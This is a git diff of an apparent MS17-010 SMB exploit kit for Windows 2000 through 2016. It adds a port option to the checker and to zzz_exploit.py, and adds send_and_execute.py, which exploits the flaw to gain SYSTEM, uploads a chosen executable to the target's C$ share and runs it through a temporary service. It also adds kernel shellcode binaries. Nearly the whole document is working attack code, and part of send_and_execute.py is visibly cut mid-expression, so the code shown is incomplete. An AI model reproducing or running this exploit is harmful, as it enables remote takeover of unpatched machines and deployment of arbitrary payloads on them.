diff --git a/checker.py b/checker.py index 4bc6793..a370a74 100644 --- a/checker.py +++ b/checker.py @@ -31,13 +31,21 @@ } -if len(sys.argv) != 2: - print("{} ".format(sys.argv[0])) +if len(sys.argv) < 2: + print("{} [port]".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] +port = 445 -conn = MYSMB(target) +try: + if sys.argv[2] != '': + port = int(sys.argv[2]) +except: + pass + +print('Trying to connect to %s:%d' % (target, port)) +conn = MYSMB(target, port) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: diff --git a/mysmb.py b/mysmb.py index fa42ce6..37c13b0 100644 --- a/mysmb.py +++ b/mysmb.py @@ -104,7 +104,7 @@ def _setup_login_packet_hook(maxBufferSize): class MYSMB(smb.SMB): - def __init__(self, remote_host, use_ntlmv2=True, timeout=8): + def __init__(self, remote_host, remote_port=445, use_ntlmv2=True, timeout=8): self.__use_ntlmv2 = use_ntlmv2 self._default_tid = 0 self._pid = os.getpid() & 0xffff @@ -115,7 +115,7 @@ def __init__(self, remote_host, use_ntlmv2=True, timeout=8): self._last_tid = 0 # last tid from connect_tree() self._last_fid = 0 # last fid from nt_create_andx() self._smbConn = None - smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout) + smb.SMB.__init__(self, remote_host, remote_host, sess_port=remote_port, timeout=timeout) def set_pid(self, pid): self._pid = pid diff --git a/mysmb.pyc b/mysmb.pyc new file mode 100644 index 0000000..633e8cc Binary files /dev/null and b/mysmb.pyc differ diff --git a/send_and_execute.py b/send_and_execute.py new file mode 100644 index 0000000..de5d811 --- /dev/null +++ b/send_and_execute.py @@ -0,0 +1,1079 @@ +#!/usr/bin/python +from impacket import smb, smbconnection +from mysmb import MYSMB +from struct import pack, unpack, unpack_from +import sys +import socket +import time +import string +import random +import os.path + +''' +MS17-010 exploit for Windows 2000 and later by sleepya + +Note: +- The exploit should never crash a target (chance should be nearly 0%) +- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed + +Tested on: +- Windows 2016 x64 +- Windows 10 Pro Build 10240 x64 +- Windows 2012 R2 x64 +- Windows 8.1 x64 +- Windows 2008 R2 SP1 x64 +- Windows 7 SP1 x64 +- Windows 2008 SP1 x64 +- Windows 2003 R2 SP2 x64 +- Windows XP SP2 x64 +- Windows 8.1 x86 +- Windows 7 SP1 x86 +- Windows 2008 SP1 x86 +- Windows 2003 SP2 x86 +- Windows XP SP3 x86 +- Windows 2000 SP4 x86 +''' + +USERNAME = '' +PASSWORD = '' + +''' +A transaction with empty setup: +- it is allocated from paged pool (same as other transaction types) on Windows 7 and later +- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier +- no lookaside or caching method for allocating it + +Note: method name is from NSA eternalromance + +For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit +for freed pool from large pool). Additionally, the exploit does the information leak to check transactions +alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later. + +For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size +smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But +a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). +Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment +in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback +of this method is we cannot do information leak to verify transactions alignment before OOB write. +So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier. +''' + +''' +Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() +win7 x64 +struct SrvSecContext { + DWORD xx1; // second WORD is size + DWORD refCnt; + PACCESS_TOKEN Token; // 0x08 + DWORD xx2; + BOOLEAN CopyOnOpen; // 0x14 + BOOLEAN EffectiveOnly; + WORD xx3; + DWORD ImpersonationLevel; // 0x18 + DWORD xx4; + BOOLEAN UsePsImpersonateClient; // 0x20 +} +win2012 x64 +struct SrvSecContext { + DWORD xx1; // second WORD is size + DWORD refCnt; + QWORD xx2; + QWORD xx3; + PACCESS_TOKEN Token; // 0x18 + DWORD xx4; + BOOLEAN CopyOnOpen; // 0x24 + BOOLEAN EffectiveOnly; + WORD xx3; + DWORD ImpersonationLevel; // 0x28 + DWORD xx4; + BOOLEAN UsePsImpersonateClient; // 0x30 +} + +SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. +It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. +From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, +PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns +STATUS_SUCCESS when Token is NULL. +If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) +to do all SMB operations. +Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only + ImpersonateSecurityContext() is used in these Windows versions. +''' +########################### +# info for modify session security context +########################### +WIN7_64_SESSION_INFO = { + 'SESSION_SECCTX_OFFSET': 0xa0, + 'SESSION_ISNULL_OFFSET': 0xba, + 'FAKE_SECCTX': pack('= x + + success = True + + if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0: + print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!') + print('RestrictedSids: 0x{:x}'.format(RestrictedSids)) + print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount)) + success = False + + print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount)) + print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr)) + + return success, userAndGroupCount, userAndGroupsAddr + +def get_group_data_from_token(info, tokenData): + userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET'] + userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET'] + + # try with default offsets + success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) + + # hack to fix XP SP0 and SP1 + # I will avoid over-engineering a more elegant solution and leave this as a hack, + # since XP SP0 and SP1 is the only edge case in a LOT of testing! + if not success and info['os'] == 'WINXP' and info['arch'] == 'x86': + print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround') + + userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'] + userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'] + + # try with hack offsets + success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) + + # still no good. Abort because something is wrong + if not success: + print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD') + sys.exit() + + # token parsed and validated + return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset + +def random_generator(size=6, chars=string.ascii_uppercase + string.digits): + return ''.join(random.choice(chars) for x in range(size)) + +def send_and_execute(conn, arch): + smbConn = conn.get_smbconnection() + + filename = "%s.exe" % random_generator(6) + print "Sending file %s..." % filename + + + #In some cases you should change remote file location + #For example: + #smb_send_file(smbConn, lfile, 'C', '/windows/temp/%s' % filename) + #service_exec(conn, r'cmd /c c:\windows\temp\%s' % filename) + + smb_send_file(smbConn, lfile, 'C', '/%s' % filename) + service_exec(conn, r'cmd /c c:\%s' % filename) + + +def smb_send_file(smbConn, localSrc, remoteDrive, remotePath): + with open(localSrc, 'rb') as fp: + smbConn.putFile(remoteDrive + '$', remotePath, fp.read) + +# based on impacket/examples/serviceinstall.py +# Note: using Windows Service to execute command same as how psexec works +def service_exec(conn, cmd): + import random + import string + from impacket.dcerpc.v5 import transport, srvs, scmr + + service_name = ''.join([random.choice(string.letters) for i in range(4)]) + + # Setup up a DCE SMBTransport with the connection already in place + rpcsvc = conn.get_dce_rpc('svcctl') + rpcsvc.connect() + rpcsvc.bind(scmr.MSRPC_UUID_SCMR) + svcHandle = None + try: + print("Opening SVCManager on %s....." % conn.get_remote_host()) + resp = scmr.hROpenSCManagerW(rpcsvc) + svcHandle = resp['lpScHandle'] + + # First we try to open the service in case it exists. If it does, we remove it. + try: + resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') + except Exception as e: + if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: + raise e # Unexpected error + else: + # It exists, remove it + scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) + scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) + os.path + print('Creating service %s.....' % service_name) + resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') + serviceHandle = resp['lpServiceHandle'] + + if serviceHandle: + # Start service + try: + print('Starting service %s.....' % service_name) + scmr.hRStartServiceW(rpcsvc, serviceHandle) + # is it really need to stop? + # using command line always makes starting service fail because SetServiceStatus() does not get called + #print('Stoping service %s.....' % service_name) + #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) + except Exception as e: + print(str(e)) + + print('Removing service %s.....' % service_name) + scmr.hRDeleteService(rpcsvc, serviceHandle) + scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) + except Exception as e: + print("ServiceExec Error on: %s" % conn.get_remote_host()) + print(str(e)) + finally: + if svcHandle: + scmr.hRCloseServiceHandle(rpcsvc, svcHandle) + + rpcsvc.disconnect() + + +if len(sys.argv) < 2: + print("{} [port] [pipe_name]".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +lfile = sys.argv[2] +port = 445 +pipe_name = None if len(sys.argv) < 5 else sys.argv[4] + +try: + if sys.argv[3] != '': + port = int(sys.argv[3]) +except: + pass + +if not os.path.isfile(lfile): + print("File not found %s" % lfile) + sys.exit(1) + +exploit(target, port, pipe_name) +print('Done') + diff --git a/shellcode/eternalblue_kshellcode_x86 b/shellcode/eternalblue_kshellcode_x86 new file mode 100644 index 0000000..d95125d Binary files /dev/null and b/shellcode/eternalblue_kshellcode_x86 differ diff --git a/zzz_exploit.py b/zzz_exploit.py index f1bf4cf..78ed213 100644 --- a/zzz_exploit.py +++ b/zzz_exploit.py @@ -786,8 +786,8 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup return fakeUserAndGroupCount, fakeUserAndGroups -def exploit(target, pipe_name): - conn = MYSMB(target) +def exploit(target, port, pipe_name): + conn = MYSMB(target, port) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) @@ -1048,12 +1048,19 @@ def service_exec(conn, cmd): if len(sys.argv) < 2: - print("{} [pipe_name]".format(sys.argv[0])) + print("{} [port] [pipe_name]".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] -pipe_name = None if len(sys.argv) < 3 else sys.argv[2] +pipe_name = None if len(sys.argv) < 4 else sys.argv[3] +port = 445 -exploit(target, pipe_name) +try: + if sys.argv[2] != '': + port = int(sys.argv[2]) +except: + pass + +exploit(target, port, pipe_name) print('Done')